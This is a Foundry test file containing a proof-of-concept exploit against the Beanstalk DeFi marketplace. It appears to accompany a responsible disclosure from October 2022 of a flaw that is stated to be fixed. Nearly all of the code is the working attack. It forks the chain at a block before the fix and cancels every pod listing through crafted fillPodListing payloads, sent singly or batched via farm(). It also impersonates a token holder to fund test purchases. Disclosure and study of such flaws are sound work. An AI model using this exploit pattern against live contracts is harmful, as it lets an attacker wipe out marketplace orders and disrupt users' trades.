BeanstalkExploit.t.sol

// SPDX-License-Identifier: MIT
// Author: Nitesh Dhanjani
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "openzeppelin-contracts/token/ERC20/IERC20.sol";
import "lib/openzeppelin-contracts/contracts/utils/Strings.sol";

//needs fs_permissions = [{ access = "read", path = "./listings.json"}]

//this vulnerability was submitted to Beanstalk at October 23, 2022
//the result is that all orders on the marketplace are cancelled
//see repo for details

//and it was fixed October 25, 2022 (therefore, the code has been modified to roll back to block 15827454 )
//fix: https://etherscan.io/tx/0xcdefd8f7b9a16595c6d56922286c92c89869101230f5d48ceeb47f92a469c516

//exploit test cases to cancell all orders in Beanstalk marketplace
//uses hard coded payloads to make it easy to print raw payload data
//to use with other simulation tools

struct jsonListing {
    address account;
    uint256 amount;
    uint256 index;
    uint256 maxHarvestableIndex;
    uint8 mode;
    uint24 pricePerPod;
    uint256 start;
}

struct jsonListingTemp {
    address account;
    string amount;
    string index;
    string maxHarvestableIndex;
    string mode;
    string pricePerPod;
    string start;
}
struct PodListing {
    address account;
    uint256 index;
    uint256 start;
    uint256 amount;
    uint24 pricePerPod;
    uint256 maxHarvestableIndex;
    uint8 mode;
}

library LibTransfer {
    enum From {
        EXTERNAL,
        INTERNAL,
        EXTERNAL_INTERNAL,
        INTERNAL_TOLERANT
    }
    enum To {
        EXTERNAL,
        INTERNAL
    }
}

interface IBeanstalk {
    function harvestableIndex() external returns (uint256);

    function transferToken(
        IERC20 token,
        address recipient,
        uint256 amount,
        LibTransfer.From fromMode,
        LibTransfer.To toMode
    ) external payable;
}

contract BeanstalkExploit is Test {
    using stdJson for string;
    bool result;
    bool loaded = false;
    jsonListing[] jsonmain;

    uint256 nonZeroStarts = 0;

    IERC20 beans = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);

    address beanstalkaddress = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;

    IBeanstalk beanstalk = IBeanstalk(beanstalkaddress);

    uint256 p_key = 1;
    address myaddress;
    uint256 x = 0;

    uint256 roll_to = 15827454;

    function setUp() public {
        myaddress = vm.addr(p_key);
        vm.rollFork(roll_to); //to a block prior to the fix
    }

    //this will cancel all listings using a for loop and sending
    //a transaction each for evert listing
    function testCancelAllLoop() public {
        cancelAll(false);
    }

    //this will cancel all listings by collecting all the fillPodListing
    //payloads into bytes[] and execute via farm(bytes[])

    function testCancelAllFarm() public {
        cancelAll(true);
    }

    //note in foundry the test will 'pass' if it 'reverts' when the
    //Fail keyword is used, illustrating our assumptions are true
    //that cancell all listings will fail if it includes a purchased
    //item
    function testFailBuyListingBeforeCancelAll() public {
        loadAllListings();

        //buy the listing [2] with some BEANS
        console2.log("Buying first, cancelAll should fail ie [PASS]");
        purchaseIt(2, false);

        //cancelAll should revert at 3rd listing
        //since it contains an entry we cancelled
        //not using farm() since the trace per transction is useful
        cancelAll(false);
    }

    function testFailBuyListingAfterCancelAll() public {
        loadAllListings();

        //not using farm() since the trace per transction is useful
        cancelAll(false);

        //buy the listing [2] with some BEANS
        //should fail since all orders are cancelled!
        //so our test will 'pass'
        console2.log(
            "\nbuying after cancelling via exploit, should fail ie [PASS]"
        );
        purchaseIt(2, false);
    }

    function cancelAll(bool usefarm) internal {
        loadAllListings();

        uint256 i = 0;
        uint256 j = 0;
        uint256 counter = 0;

        //we calculate size for farmpayloads by adding the amount of orders
        //to the amount of orders that did not have start=0 (counter nonZeroStarts
        //captured by loadAllListings(). This is because for the start!=0 listings,
        //there is a new order creaed where start=0, so we want to call
        //fillPodListing() on them again to truly cancel them

        bytes[] memory farmpayloads = new bytes[](
            jsonmain.length + nonZeroStarts
        );

        bytes memory mypayload;

        PodListing memory purchaselisting;

        //go through all the listings and cancel them
        for (i = 0; i < jsonmain.length; i++) {
            purchaselisting = PodListing(
                jsonmain[i].account,
                jsonmain[i].index,
                jsonmain[i].start,
                jsonmain[i].amount,
                jsonmain[i].pricePerPod,
                jsonmain[i].maxHarvestableIndex,
                jsonmain[i].mode
            );

            mypayload = abi.encodeWithSignature(
                "fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
                purchaselisting,
                0,
                LibTransfer.From.INTERNAL_TOLERANT
            );

            if (usefarm == true) {
                farmpayloads[i] = mypayload;
            } else {
                (result, ) = beanstalkaddress.call(mypayload);
                if (result == false) revert();
            }
            counter++;

            //fillPodListing one more time for order that did not have start=0
            if (purchaselisting.start != 0) {
                purchaselisting.index =
                    purchaselisting.index +
                    purchaselisting.start;
                purchaselisting.start = 0;

                jsonmain[i].index = purchaselisting.index;
                jsonmain[i].start = 0;

                mypayload = abi.encodeWithSignature(
                    "fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
                    purchaselisting,
                    0,
                    LibTransfer.From.INTERNAL_TOLERANT
                );
                if (usefarm == true) {
                    farmpayloads[jsonmain.length + j] = mypayload;
                } else {
                    (result, ) = beanstalkaddress.call(mypayload);
                    if (result == false) revert();
                }
                counter++;
                j++;
            }

            //break;
        }

        //cancel order through bytes[] paylaod send via farm(bytes[])
        if (usefarm == true) {
            mypayload = abi.encodeWithSignature("farm(bytes[])", farmpayloads);
            (result, ) = beanstalkaddress.call(mypayload);
            if (result == false) revert();
        }

        console2.log("Total Listings cancelled:", i);
        console2.log("Listings with start!=0", j);
        console2.log("Total times fillPodListing() called", counter);
    }

    //fetch all listings from https://graph.node.bean.money/subgraphs/name/beanstalk
    //and have them loded into jsonmain[]

    //the graphql endpoint is convenient, but of course, not a dependency for the
    //attacker. alternatively, the attacker can listen for events and collect it
    //or leverage services like dune.com

    function loadAllListings() internal {
        if (loaded == true) return;

        loaded = true;

        uint256 maxindex = beanstalk.harvestableIndex();

        string[] memory inputs = new string[](3);

        inputs[0] = "node";
        inputs[1] = "listings.js";
        inputs[2] = Strings.toString(maxindex);

        //comment and diable vm.ffi below if you have a ./listings.json
        //and don't want to fetch again

        //disabled since the issue is fixed, need local file (./listings.json) of past listings for this to work now
        //vm.ffi(inputs);

        string memory jsonfile = vm.readFile("./listings.json");

        bytes memory json = vm.parseJson(jsonfile);

        jsonListingTemp[] memory jsontemp;

        jsontemp = abi.decode(json, (jsonListingTemp[]));

        //from memory to storage ie from jsontemp (memory)
        //to jsonmain[] so other functions can continue to leverage
        //loaded listings
        for (uint256 i = 0; i < jsontemp.length; i++) {
            jsonListing storage t = jsonmain.push();

            t.account = jsontemp[i].account;
            t.amount = strToUint(jsontemp[i].amount);
            t.index = strToUint(jsontemp[i].index);
            t.maxHarvestableIndex = strToUint(jsontemp[i].maxHarvestableIndex);
            t.mode = uint8(strToUint(jsontemp[i].mode));
            t.pricePerPod = uint24(strToUint(jsontemp[i].pricePerPod));
            t.start = strToUint(jsontemp[i].start);

            if (t.start != 0) nonZeroStarts++;
        }
    }

    function purchaseIt(uint256 index, bool zero) internal {
        vm.startPrank(myaddress);
        loadAllListings();

        PodListing memory purchaselisting = PodListing(
            jsonmain[index].account,
            jsonmain[index].index,
            jsonmain[index].start,
            jsonmain[index].amount,
            jsonmain[index].pricePerPod,
            jsonmain[index].maxHarvestableIndex,
            jsonmain[index].mode
        );

        if (zero == false) {
            //built in deal() doesn't work on bean beacuse of
            //internal accounting so we will just get it from
            //the main contract instead

            vm.stopPrank();
            //from https://etherscan.io/token/0xbea0000029ad1c77d3d5d23ba2d8893db9d1efab#balances
            address tokenholder = 0x40Da1406EeB71083290e2e068926F5FC8D8e0264;
            vm.startPrank(tokenholder);

            beanstalk.transferToken(
                beans,
                myaddress,
                beans.balanceOf(tokenholder),
                LibTransfer.From.EXTERNAL,
                LibTransfer.To.EXTERNAL
            );

            vm.stopPrank();
            vm.startPrank(myaddress);

            beans.approve(beanstalkaddress, 2**256 - 1);
        }

        bytes memory mypayload = abi.encodeWithSignature(
            "fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
            purchaselisting,
            beans.balanceOf(myaddress),
            LibTransfer.From.EXTERNAL_INTERNAL
        );

        //console2.log(vm.toString(mypayload));

        (result, ) = beanstalkaddress.call(mypayload);
        if (result == false) revert();

        vm.stopPrank();
    }

    function strToUint(string memory _str) public pure returns (uint256 res) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10**(bytes(_str).length - i - 1);
        }

        return (res);
    }

    receive() external payable {
        //console2.log("receive");
    }

    fallback() external payable {
        //console2.log("fallback");
    }
}